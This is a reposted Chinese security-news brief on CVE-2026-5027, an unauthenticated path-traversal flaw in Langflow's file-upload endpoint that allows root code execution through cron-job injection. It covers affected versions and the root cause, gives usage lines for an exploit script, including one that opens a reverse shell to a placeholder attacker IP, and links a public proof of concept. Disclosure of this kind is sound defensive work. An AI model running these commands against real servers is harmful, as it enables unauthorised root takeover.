CVE-2026-5027–Langflow路径遍历导致远程代码执行漏洞(CVSS8.8)

admin 2026-04-04 05:18:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Langflow1.8.4及更早版本存在路径遍历漏洞(CVE-2026-5027),攻击者可通过未授权访问的POST/api/v2/files接口写入任意文件。结合默认自动登录配置,可利用cron作业实现root权限远程代码执行。目前暂无官方补丁,建议用户关注安全更新并检查系统配置。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,漏洞预警


cover_image

CVE-2026-5027 – Langflow 路径遍历导致远程代码执行漏洞 (CVSS 8.8)

Ots安全

2026年4月3日 14:06 广东

威胁简报

恶意软件

漏洞攻击

描述

Langflow 1.8.4 及更早版本未对端点filename中的参数进行清理POST /api/v2/files。攻击者可以利用路径遍历序列(../)将文件写入文件系统上的任意位置。结合 Langflow 的默认自动登录配置,无需任何身份验证即可利用此漏洞,从而通过 cron 作业注入以 root 身份执行远程代码。

受影响版本

  • 易受攻击版本: Langflow <= 1.8.4
  • 已修复:撰写本文时暂无可用补丁。
  • 默认配置:启用自动登录(未经身份验证的攻击)
  • 咨询: Tenable TRA-2026-26

用法

# Proof of concept (writes test&nbsp;fileto&nbsp;/tmp/)
python3&nbsp;exploit.py&nbsp;-t http://target:7860

# With credentials (if&nbsp;auto-login&nbsp;is&nbsp;disabled)
python3&nbsp;exploit.py&nbsp;-t http://target:7860&nbsp;-u&nbsp;admin -p&nbsp;password

# Reverse&nbsp;shell&nbsp;via cron job
python3&nbsp;exploit.py&nbsp;-t http://target:7860&nbsp;--lhost YOUR_IP --lport&nbsp;4444

示例输出

根本原因

该upload_user_file()函数直接src/backend/base/langflow/api/v2/files.py将数据传递file.filename给存储服务,而没有进行任何清理。它LocalStorageService.save_file()使用 . 构造路径folder_path / file_name,但这并不能阻止目录遍历。

POC:

https://github.com/yahiahamza/CVE-2026-5027

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《CVE-2026-5027 – Langflow 路径遍历导致远程代码执行漏洞 (CVSS 8.8)》

评论:0   参与:  0